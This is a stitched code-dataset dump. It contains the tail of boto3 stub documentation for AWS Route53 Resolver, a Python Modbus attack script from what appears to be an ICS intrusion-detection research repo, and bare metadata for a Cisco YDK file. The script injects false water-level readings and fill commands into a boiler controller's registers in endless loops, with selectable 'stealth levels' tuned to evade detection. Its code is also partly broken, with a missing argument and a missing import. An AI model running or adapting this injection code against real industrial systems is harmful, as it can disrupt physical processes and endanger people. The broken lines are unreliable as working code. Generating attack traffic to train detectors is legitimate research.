'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' }, ] } Response Structure (dict) -- NextToken (string) -- If more than MaxResults IP addresses match the specified criteria, you can submit another ListResolverEndpoint request to get the next group of results. In the next request, specify the value of NextToken from the previous response. MaxResults (integer) -- The value that you specified for MaxResults in the request. ResolverEndpoints (list) -- The resolver endpoints that were created by using the current AWS account, and that match the specified filters, if any. (dict) -- In the response to a CreateResolverEndpoint , DeleteResolverEndpoint , GetResolverEndpoint , ListResolverEndpoints , or UpdateResolverEndpoint request, a complex type that contains settings for an existing inbound or outbound resolver endpoint. Id (string) -- The ID of the resolver endpoint. CreatorRequestId (string) -- A unique string that identifies the request that created the resolver endpoint. The CreatorRequestId allows failed requests to be retried without the risk of executing the operation twice. Arn (string) -- The ARN (Amazon Resource Name) for the resolver endpoint. Name (string) -- The name that you assigned to the resolver endpoint when you submitted a CreateResolverEndpoint request. SecurityGroupIds (list) -- The ID of one or more security groups that control access to this VPC. The security group must include one or more inbound resolver rules. (string) -- Direction (string) -- Indicates whether the resolver endpoint allows inbound or outbound DNS queries: INBOUND : allows DNS queries to your VPC from your network or another VPC OUTBOUND : allows DNS queries from your VPC to your network or another VPC IpAddressCount (integer) -- The number of IP addresses that the resolver endpoint can use for DNS queries. HostVPCId (string) -- The ID of the VPC that you want to create the resolver endpoint in. Status (string) -- A code that specifies the current status of the resolver endpoint. StatusMessage (string) -- A detailed description of the status of the resolver endpoint. CreationTime (string) -- The date and time that the endpoint was created, in Unix time format and Coordinated Universal Time (UTC). ModificationTime (string) -- The date and time that the endpoint was last modified, in Unix time format and Coordinated Universal Time (UTC). Exceptions Route53Resolver.Client.exceptions.InvalidNextTokenException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'NextToken': 'string', 'MaxResults': 123, 'ResolverEndpoints': [ { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' }, ] } :returns: (string) -- """ pass def list_resolver_rule_associations(MaxResults=None, NextToken=None, Filters=None): """ Lists the associations that were created between resolver rules and VPCs using the current AWS account. See also: AWS API Documentation Exceptions :example: response = client.list_resolver_rule_associations( MaxResults=123, NextToken='string', Filters=[ { 'Name': 'string', 'Values': [ 'string', ] }, ] ) :type MaxResults: integer :param MaxResults: The maximum number of rule associations that you want to return in the response to a ListResolverRuleAssociations request. If you don\'t specify a value for MaxResults , Resolver returns up to 100 rule associations. :type NextToken: string :param NextToken: For the first ListResolverRuleAssociation request, omit this value.\nIf you have more than MaxResults rule associations, you can submit another ListResolverRuleAssociation request to get the next group of rule associations. In the next request, specify the value of NextToken from the previous response.\n :type Filters: list :param Filters: An optional specification to return a subset of resolver rules, such as resolver rules that are associated with the same VPC ID.\n\nNote\nIf you submit a second or subsequent ListResolverRuleAssociations request and specify the NextToken parameter, you must use the same values for Filters , if any, as in the previous request.\n\n\n(dict) --For List operations, an optional specification to return a subset of objects, such as resolver endpoints or resolver rules.\n\nName (string) --When you\'re using a List operation and you want the operation to return a subset of objects, such as resolver endpoints or resolver rules, the name of the parameter that you want to use to filter objects. For example, to list only inbound resolver endpoints, specify Direction for the value of Name .\n\nValues (list) --When you\'re using a List operation and you want the operation to return a subset of objects, such as resolver endpoints or resolver rules, the value of the parameter that you want to use to filter objects. For example, to list only inbound resolver endpoints, specify INBOUND for the value of Values .\n\n(string) --\n\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'NextToken': 'string', 'MaxResults': 123, 'ResolverRuleAssociations': [ { 'Id': 'string', 'ResolverRuleId': 'string', 'Name': 'string', 'VPCId': 'string', 'Status': 'CREATING'|'COMPLETE'|'DELETING'|'FAILED'|'OVERRIDDEN', 'StatusMessage': 'string' }, ] } Response Structure (dict) -- NextToken (string) -- If more than MaxResults rule associations match the specified criteria, you can submit another ListResolverRuleAssociation request to get the next group of results. In the next request, specify the value of NextToken from the previous response. MaxResults (integer) -- The value that you specified for MaxResults in the request. ResolverRuleAssociations (list) -- The associations that were created between resolver rules and VPCs using the current AWS account, and that match the specified filters, if any. (dict) -- In the response to an AssociateResolverRule , DisassociateResolverRule , or ListResolverRuleAssociations request, information about an association between a resolver rule and a VPC. Id (string) -- The ID of the association between a resolver rule and a VPC. Resolver assigns this value when you submit an AssociateResolverRule request. ResolverRuleId (string) -- The ID of the resolver rule that you associated with the VPC that is specified by VPCId . Name (string) -- The name of an association between a resolver rule and a VPC. VPCId (string) -- The ID of the VPC that you associated the resolver rule with. Status (string) -- A code that specifies the current status of the association between a resolver rule and a VPC. StatusMessage (string) -- A detailed description of the status of the association between a resolver rule and a VPC. Exceptions Route53Resolver.Client.exceptions.InvalidNextTokenException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'NextToken': 'string', 'MaxResults': 123, 'ResolverRuleAssociations': [ { 'Id': 'string', 'ResolverRuleId': 'string', 'Name': 'string', 'VPCId': 'string', 'Status': 'CREATING'|'COMPLETE'|'DELETING'|'FAILED'|'OVERRIDDEN', 'StatusMessage': 'string' }, ] } :returns: Route53Resolver.Client.exceptions.InvalidNextTokenException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException """ pass def list_resolver_rules(MaxResults=None, NextToken=None, Filters=None): """ Lists the resolver rules that were created using the current AWS account. See also: AWS API Documentation Exceptions :example: response = client.list_resolver_rules( MaxResults=123, NextToken='string', Filters=[ { 'Name': 'string', 'Values': [ 'string', ] }, ] ) :type MaxResults: integer :param MaxResults: The maximum number of resolver rules that you want to return in the response to a ListResolverRules request. If you don\'t specify a value for MaxResults , Resolver returns up to 100 resolver rules. :type NextToken: string :param NextToken: For the first ListResolverRules request, omit this value.\nIf you have more than MaxResults resolver rules, you can submit another ListResolverRules request to get the next group of resolver rules. In the next request, specify the value of NextToken from the previous response.\n :type Filters: list :param Filters: An optional specification to return a subset of resolver rules, such as all resolver rules that are associated with the same resolver endpoint.\n\nNote\nIf you submit a second or subsequent ListResolverRules request and specify the NextToken parameter, you must use the same values for Filters , if any, as in the previous request.\n\n\n(dict) --For List operations, an optional specification to return a subset of objects, such as resolver endpoints or resolver rules.\n\nName (string) --When you\'re using a List operation and you want the operation to return a subset of objects, such as resolver endpoints or resolver rules, the name of the parameter that you want to use to filter objects. For example, to list only inbound resolver endpoints, specify Direction for the value of Name .\n\nValues (list) --When you\'re using a List operation and you want the operation to return a subset of objects, such as resolver endpoints or resolver rules, the value of the parameter that you want to use to filter objects. For example, to list only inbound resolver endpoints, specify INBOUND for the value of Values .\n\n(string) --\n\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'NextToken': 'string', 'MaxResults': 123, 'ResolverRules': [ { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'DomainName': 'string', 'Status': 'COMPLETE'|'DELETING'|'UPDATING'|'FAILED', 'StatusMessage': 'string', 'RuleType': 'FORWARD'|'SYSTEM'|'RECURSIVE', 'Name': 'string', 'TargetIps': [ { 'Ip': 'string', 'Port': 123 }, ], 'ResolverEndpointId': 'string', 'OwnerId': 'string', 'ShareStatus': 'NOT_SHARED'|'SHARED_WITH_ME'|'SHARED_BY_ME' }, ] } Response Structure (dict) -- NextToken (string) -- If more than MaxResults resolver rules match the specified criteria, you can submit another ListResolverRules request to get the next group of results. In the next request, specify the value of NextToken from the previous response. MaxResults (integer) -- The value that you specified for MaxResults in the request. ResolverRules (list) -- The resolver rules that were created using the current AWS account and that match the specified filters, if any. (dict) -- For queries that originate in your VPC, detailed information about a resolver rule, which specifies how to route DNS queries out of the VPC. The ResolverRule parameter appears in the response to a CreateResolverRule , DeleteResolverRule , GetResolverRule , ListResolverRules , or UpdateResolverRule request. Id (string) -- The ID that Resolver assigned to the resolver rule when you created it. CreatorRequestId (string) -- A unique string that you specified when you created the resolver rule. CreatorRequestId identifies the request and allows failed requests to be retried without the risk of executing the operation twice. Arn (string) -- The ARN (Amazon Resource Name) for the resolver rule specified by Id . DomainName (string) -- DNS queries for this domain name are forwarded to the IP addresses that are specified in TargetIps . If a query matches multiple resolver rules (example.com and www.example.com), the query is routed using the resolver rule that contains the most specific domain name (www.example.com). Status (string) -- A code that specifies the current status of the resolver rule. StatusMessage (string) -- A detailed description of the status of a resolver rule. RuleType (string) -- This value is always FORWARD . Other resolver rule types aren\'t supported. Name (string) -- The name for the resolver rule, which you specified when you created the resolver rule. TargetIps (list) -- An array that contains the IP addresses and ports that you want to forward (dict) -- In a CreateResolverRule request, an array of the IPs that you want to forward DNS queries to. Ip (string) -- One IP address that you want to forward DNS queries to. You can specify only IPv4 addresses. Port (integer) -- The port at Ip that you want to forward DNS queries to. ResolverEndpointId (string) -- The ID of the endpoint that the rule is associated with. OwnerId (string) -- When a rule is shared with another AWS account, the account ID of the account that the rule is shared with. ShareStatus (string) -- Whether the rules is shared and, if so, whether the current account is sharing the rule with another account, or another account is sharing the rule with the current account. Exceptions Route53Resolver.Client.exceptions.InvalidNextTokenException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'NextToken': 'string', 'MaxResults': 123, 'ResolverRules': [ { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'DomainName': 'string', 'Status': 'COMPLETE'|'DELETING'|'UPDATING'|'FAILED', 'StatusMessage': 'string', 'RuleType': 'FORWARD'|'SYSTEM'|'RECURSIVE', 'Name': 'string', 'TargetIps': [ { 'Ip': 'string', 'Port': 123 }, ], 'ResolverEndpointId': 'string', 'OwnerId': 'string', 'ShareStatus': 'NOT_SHARED'|'SHARED_WITH_ME'|'SHARED_BY_ME' }, ] } :returns: Route53Resolver.Client.exceptions.InvalidNextTokenException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException """ pass def list_tags_for_resource(ResourceArn=None, MaxResults=None, NextToken=None): """ Lists the tags that you associated with the specified resource. See also: AWS API Documentation Exceptions :example: response = client.list_tags_for_resource( ResourceArn='string', MaxResults=123, NextToken='string' ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) for the resource that you want to list tags for.\n :type MaxResults: integer :param MaxResults: The maximum number of tags that you want to return in the response to a ListTagsForResource request. If you don\'t specify a value for MaxResults , Resolver returns up to 100 tags. :type NextToken: string :param NextToken: For the first ListTagsForResource request, omit this value.\nIf you have more than MaxResults tags, you can submit another ListTagsForResource request to get the next group of tags for the resource. In the next request, specify the value of NextToken from the previous response.\n :rtype: dict ReturnsResponse Syntax { 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ], 'NextToken': 'string' } Response Structure (dict) -- Tags (list) -- The tags that are associated with the resource that you specified in the ListTagsForResource request. (dict) -- One tag that you want to add to the specified resource. A tag consists of a Key (a name for the tag) and a Value . Key (string) -- The name for the tag. For example, if you want to associate Resolver resources with the account IDs of your customers for billing purposes, the value of Key might be account-id . Value (string) -- The value for the tag. For example, if Key is account-id , then Value might be the ID of the customer account that you\'re creating the resource for. NextToken (string) -- If more than MaxResults tags match the specified criteria, you can submit another ListTagsForResource request to get the next group of results. In the next request, specify the value of NextToken from the previous response. Exceptions Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InvalidNextTokenException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ], 'NextToken': 'string' } :returns: Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InvalidNextTokenException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException """ pass def put_resolver_rule_policy(Arn=None, ResolverRulePolicy=None): """ Specifies the Resolver operations and resources that you want to allow another AWS account to be able to use. See also: AWS API Documentation Exceptions :example: response = client.put_resolver_rule_policy( Arn='string', ResolverRulePolicy='string' ) :type Arn: string :param Arn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the account that you want to grant permissions to.\n :type ResolverRulePolicy: string :param ResolverRulePolicy: [REQUIRED]\nAn AWS Identity and Access Management policy statement that lists the permissions that you want to grant to another AWS account.\n :rtype: dict ReturnsResponse Syntax { 'ReturnValue': True|False } Response Structure (dict) -- The response to a PutResolverRulePolicy request. ReturnValue (boolean) -- Whether the PutResolverRulePolicy request was successful. Exceptions Route53Resolver.Client.exceptions.InvalidPolicyDocument Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.UnknownResourceException Route53Resolver.Client.exceptions.InternalServiceErrorException :return: { 'ReturnValue': True|False } :returns: Route53Resolver.Client.exceptions.InvalidPolicyDocument Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.UnknownResourceException Route53Resolver.Client.exceptions.InternalServiceErrorException """ pass def tag_resource(ResourceArn=None, Tags=None): """ Adds one or more tags to a specified resource. See also: AWS API Documentation Exceptions :example: response = client.tag_resource( ResourceArn='string', Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) for the resource that you want to add tags to. To get the ARN for a resource, use the applicable Get or List command:\n\nGetResolverEndpoint\nGetResolverRule\nGetResolverRuleAssociation\nListResolverEndpoints\nListResolverRuleAssociations\nListResolverRules\n\n :type Tags: list :param Tags: [REQUIRED]\nThe tags that you want to add to the specified resource.\n\n(dict) --One tag that you want to add to the specified resource. A tag consists of a Key (a name for the tag) and a Value .\n\nKey (string) --The name for the tag. For example, if you want to associate Resolver resources with the account IDs of your customers for billing purposes, the value of Key might be account-id .\n\nValue (string) --The value for the tag. For example, if Key is account-id , then Value might be the ID of the customer account that you\'re creating the resource for.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions Route53Resolver.Client.exceptions.LimitExceededException Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InvalidTagException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: {} :returns: (dict) -- """ pass def untag_resource(ResourceArn=None, TagKeys=None): """ Removes one or more tags from a specified resource. See also: AWS API Documentation Exceptions :example: response = client.untag_resource( ResourceArn='string', TagKeys=[ 'string', ] ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) for the resource that you want to remove tags from. To get the ARN for a resource, use the applicable Get or List command:\n\nGetResolverEndpoint\nGetResolverRule\nGetResolverRuleAssociation\nListResolverEndpoints\nListResolverRuleAssociations\nListResolverRules\n\n :type TagKeys: list :param TagKeys: [REQUIRED]\nThe tags that you want to remove to the specified resource.\n\n(string) --\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: {} :returns: (dict) -- """ pass def update_resolver_endpoint(ResolverEndpointId=None, Name=None): """ Updates the name of an inbound or an outbound resolver endpoint. See also: AWS API Documentation Exceptions :example: response = client.update_resolver_endpoint( ResolverEndpointId='string', Name='string' ) :type ResolverEndpointId: string :param ResolverEndpointId: [REQUIRED]\nThe ID of the resolver endpoint that you want to update.\n :type Name: string :param Name: The name of the resolver endpoint that you want to update. :rtype: dict ReturnsResponse Syntax { 'ResolverEndpoint': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' } } Response Structure (dict) -- ResolverEndpoint (dict) -- The response to an UpdateResolverEndpoint request. Id (string) -- The ID of the resolver endpoint. CreatorRequestId (string) -- A unique string that identifies the request that created the resolver endpoint. The CreatorRequestId allows failed requests to be retried without the risk of executing the operation twice. Arn (string) -- The ARN (Amazon Resource Name) for the resolver endpoint. Name (string) -- The name that you assigned to the resolver endpoint when you submitted a CreateResolverEndpoint request. SecurityGroupIds (list) -- The ID of one or more security groups that control access to this VPC. The security group must include one or more inbound resolver rules. (string) -- Direction (string) -- Indicates whether the resolver endpoint allows inbound or outbound DNS queries: INBOUND : allows DNS queries to your VPC from your network or another VPC OUTBOUND : allows DNS queries from your VPC to your network or another VPC IpAddressCount (integer) -- The number of IP addresses that the resolver endpoint can use for DNS queries. HostVPCId (string) -- The ID of the VPC that you want to create the resolver endpoint in. Status (string) -- A code that specifies the current status of the resolver endpoint. StatusMessage (string) -- A detailed description of the status of the resolver endpoint. CreationTime (string) -- The date and time that the endpoint was created, in Unix time format and Coordinated Universal Time (UTC). ModificationTime (string) -- The date and time that the endpoint was last modified, in Unix time format and Coordinated Universal Time (UTC). Exceptions Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverEndpoint': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' } } :returns: (string) -- """ pass def update_resolver_rule(ResolverRuleId=None, Config=None): """ Updates settings for a specified resolver rule. ResolverRuleId is required, and all other parameters are optional. If you don\'t specify a parameter, it retains its current value. See also: AWS API Documentation Exceptions :example: response = client.update_resolver_rule( ResolverRuleId='string', Config={ 'Name': 'string', 'TargetIps': [ { 'Ip': 'string', 'Port': 123 }, ], 'ResolverEndpointId': 'string' } ) :type ResolverRuleId: string :param ResolverRuleId: [REQUIRED]\nThe ID of the resolver rule that you want to update.\n :type Config: dict :param Config: [REQUIRED]\nThe new settings for the resolver rule.\n\nName (string) --The new name for the resolver rule. The name that you specify appears in the Resolver dashboard in the Route 53 console.\n\nTargetIps (list) --For DNS queries that originate in your VPC, the new IP addresses that you want to route outbound DNS queries to.\n\n(dict) --In a CreateResolverRule request, an array of the IPs that you want to forward DNS queries to.\n\nIp (string) -- [REQUIRED]One IP address that you want to forward DNS queries to. You can specify only IPv4 addresses.\n\nPort (integer) --The port at Ip that you want to forward DNS queries to.\n\n\n\n\n\nResolverEndpointId (string) --The ID of the new outbound resolver endpoint that you want to use to route DNS queries to the IP addresses that you specify in TargetIps .\n\n\n :rtype: dict ReturnsResponse Syntax { 'ResolverRule': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'DomainName': 'string', 'Status': 'COMPLETE'|'DELETING'|'UPDATING'|'FAILED', 'StatusMessage': 'string', 'RuleType': 'FORWARD'|'SYSTEM'|'RECURSIVE', 'Name': 'string', 'TargetIps': [ { 'Ip': 'string', 'Port': 123 }, ], 'ResolverEndpointId': 'string', 'OwnerId': 'string', 'ShareStatus': 'NOT_SHARED'|'SHARED_WITH_ME'|'SHARED_BY_ME' } } Response Structure (dict) -- ResolverRule (dict) -- The response to an UpdateResolverRule request. Id (string) -- The ID that Resolver assigned to the resolver rule when you created it. CreatorRequestId (string) -- A unique string that you specified when you created the resolver rule. CreatorRequestId identifies the request and allows failed requests to be retried without the risk of executing the operation twice. Arn (string) -- The ARN (Amazon Resource Name) for the resolver rule specified by Id . DomainName (string) -- DNS queries for this domain name are forwarded to the IP addresses that are specified in TargetIps . If a query matches multiple resolver rules (example.com and www.example.com), the query is routed using the resolver rule that contains the most specific domain name (www.example.com). Status (string) -- A code that specifies the current status of the resolver rule. StatusMessage (string) -- A detailed description of the status of a resolver rule. RuleType (string) -- This value is always FORWARD . Other resolver rule types aren\'t supported. Name (string) -- The name for the resolver rule, which you specified when you created the resolver rule. TargetIps (list) -- An array that contains the IP addresses and ports that you want to forward (dict) -- In a CreateResolverRule request, an array of the IPs that you want to forward DNS queries to. Ip (string) -- One IP address that you want to forward DNS queries to. You can specify only IPv4 addresses. Port (integer) -- The port at Ip that you want to forward DNS queries to. ResolverEndpointId (string) -- The ID of the endpoint that the rule is associated with. OwnerId (string) -- When a rule is shared with another AWS account, the account ID of the account that the rule is shared with. ShareStatus (string) -- Whether the rules is shared and, if so, whether the current account is sharing the rule with another account, or another account is sharing the rule with the current account. Exceptions Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.ResourceUnavailableException Route53Resolver.Client.exceptions.LimitExceededException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverRule': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'DomainName': 'string', 'Status': 'COMPLETE'|'DELETING'|'UPDATING'|'FAILED', 'StatusMessage': 'string', 'RuleType': 'FORWARD'|'SYSTEM'|'RECURSIVE', 'Name': 'string', 'TargetIps': [ { 'Ip': 'string', 'Port': 123 }, ], 'ResolverEndpointId': 'string', 'OwnerId': 'string', 'ShareStatus': 'NOT_SHARED'|'SHARED_WITH_ME'|'SHARED_BY_ME' } } :returns: Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.ResourceUnavailableException Route53Resolver.Client.exceptions.LimitExceededException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException """ pass

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8292ea81822b51fd2b10933286814918f6a1c4c2

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py

Python

Attacker/NetworkedInjectionAttack.py

jamster112233/ICS_IDS

dac6abc3c8d6e840a21adedcb9e8dcfaa304b499

[ "BSD-3-Clause" ]

null

Attacker/NetworkedInjectionAttack.py

jamster112233/ICS_IDS

dac6abc3c8d6e840a21adedcb9e8dcfaa304b499

[ "BSD-3-Clause" ]

null

Attacker/NetworkedInjectionAttack.py

jamster112233/ICS_IDS

dac6abc3c8d6e840a21adedcb9e8dcfaa304b499

[ "BSD-3-Clause" ]

null

import networkEncoder as ne from pymodbus.client.sync import ModbusTcpClient MODBUS_SLAVE = 'ms.ics.example.com' random.seed(100) response = '' client = ModbusTcpClient(MODBUS_SLAVE) print("Sensors online, enter injection attack type:") print("[r]esponse - Fake slave values to trigger overflow") print("[c]ommand - Fake master values to trigger overflow") print("[q]uit") while response != 'r' and response != 'c' and response != 'q': response = input('>') if response == 'q': exit(0) if response == 'r': print("Enter stealth level:") print("[1] - Blatantly obvious") print("[2] - Plausible") print("[3] - Harder to detect") print("[4] - Hard to detect") print("[q]uit") while response != '1' and response != '2' and response != '3' and response != '4' and response != 'q': response = input('>') if response == 'q': exit(0) if response == '1': while True: #10,000L below optimum level results = [] result = client.read_holding_registers(3, 4, unit=1) waterLevel = ne.modbusDecode(0, 4, 4, result.registers) outputs = [] levelElements = ne.modbusEncode(490000, 4, 4, outputs) result.registers[0] = levelElements[0] result.registers[1] = levelElements[1] result.registers[2] = levelElements[2] result.registers[3] = levelElements[3] result.registers[20] = 1 write = client.write_registers(0, result.registers, unit=1) if response == '2': while True: #1,000L below optimum level results = [] result = client.read_holding_registers(3, , unit=1) waterLevel = ne.modbusDecode(0, 4, 4, result.registers) outputs = [] levelElements = ne.modbusEncode(499000, 4, 4, outputs) result.registers[0] = levelElements[0] result.registers[1] = levelElements[1] result.registers[2] = levelElements[2] result.registers[3] = levelElements[3] result.registers[20] = 1 write = client.write_registers(3, result.registers, unit=1) if response == '3': while True: #Constantly 1,500L below optimum level +- 15% result = client.read_holding_registers(3, 19, unit=1) waterLevel = ne.modbusDecode(0, 4, 4, result.registers) waterLevel = 500000 - (1500 * (random.randint(85,115)/100)) outputs = [] levelElements = ne.modbusEncode(waterLevel, 4, 4, outputs) result.registers[0] = levelElements[0] result.registers[1] = levelElements[1] result.registers[2] = levelElements[2] result.registers[3] = levelElements[3] result.registers[20] = 1 write = client.write_registers(3, result.registers, unit=1) if response == '4': while True: # Constantly 1,500L below optimum level +- 15% + last add of water from master result = client.read_holding_registers(3, 19, unit=1) addWater = ne.modbusDecode(0, 2, 2, result.registers) waterLevel = ne.modbusDecode(3, 4, 4, result.registers) steamStep = ne.modbusDecode(13, 2, 4, result.registers) outputs = [] waterLevel = 500000 - (1500 * (random.randint(85, 115) / 100)) + addWater outputs = [] levelElements = ne.modbusEncode(waterLevel, 4, 4, outputs) result.registers[0] = levelElements[0] result.registers[1] = levelElements[1] result.registers[2] = levelElements[2] result.registers[3] = levelElements[3] result.registers[20] = 1 write = client.write_registers(3, result.registers, unit=1) if response == 'c': print("Enter stealth level:") print("[1] - Blatantly obvious") print("[2] - Plausible") print("[3] - Harder to detect") print("[4] - Hard to detect") print("[q]uit") while response != '1' and response != '2' and response != '3' and response != '4' and response != 'q': response = input('>') if response == 'q': exit(0) if response == '1': while True: # 1,500L constant fill, no fire result = client.read_holding_registers(0, 22, unit=1) addWater = ne.modbusDecode(0, 2, 2, result.registers) addWater = 1500 outputs = [] result.registers[0] = ne.modbusEncode(addWater, 2, 2, outputs)[0] result.registers[1] = ne.modbusEncode(addWater, 2, 2, outputs)[1] result.registers[2] = 1 result.registers[21] = 1 write = client.write_registers(0, result.registers, unit=1) if response == '2': while True: # 1,500L constant fill, current fire state result = client.read_holding_registers(0, 22, unit=1) addWater = ne.modbusDecode(0, 2, 2, result.registers) addWater = 1500 outputs = [] result.registers[0] = ne.modbusEncode(addWater, 2, 2, outputs)[0] result.registers[1] = ne.modbusEncode(addWater, 2, 2, outputs)[1] result.registers[21] = 1 write = client.write_registers(0, result.registers, unit=1) if response == '3': while True: # 1,500L constant fill +- 10%, current fire state result = client.read_holding_registers(0, 22, unit=1) addWater = ne.modbusDecode(0, 2, 2, result.registers) addWater = 1500 * (random.randint(90, 110) / 100) outputs = [] result.registers[0] = ne.modbusEncode(addWater, 2, 2, outputs)[0] result.registers[1] = ne.modbusEncode(addWater, 2, 2, outputs)[1] result.registers[21] = 1 write = client.write_registers(0, result.registers, unit=1) if response == '4': while True: # Add water value + 0-5%, if no fire, + 5-10% if fire result = client.read_holding_registers(0, 22, unit=1) addWater = ne.modbusDecode(0, 2, 2, result.registers) addFire = ne.modbusDecode(2, 2, 0, result.registers) if addFire: addWater = 500 + (addWater * (random.randint(105, 110) / 100)) else: addWater = 500 + (addWater * (random.randint(100, 105) / 100)) outputs = [] result.registers[0] = ne.modbusEncode(addWater, 2, 2, outputs)[0] result.registers[1] = ne.modbusEncode(addWater, 2, 2, outputs)[1] result.registers[21] = 1 write = client.write_registers(0, result.registers, unit=1) client.close()

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82aff54a00188b96d46a87aa27129c0a52d5f3ed

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py

Python

cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_traceroute_act.py

Maikor/ydk-py

b86c4a7c570ae3b2c5557d098420446df5de4929

[ "ECL-2.0", "Apache-2.0" ]

null

cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_traceroute_act.py

Maikor/ydk-py

b86c4a7c570ae3b2c5557d098420446df5de4929

[ "ECL-2.0", "Apache-2.0" ]

null

cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_traceroute_act.py

Maikor/ydk-py

b86c4a7c570ae3b2c5557d098420446df5de4929

[ "ECL-2.0", "Apache-2.0" ]

null

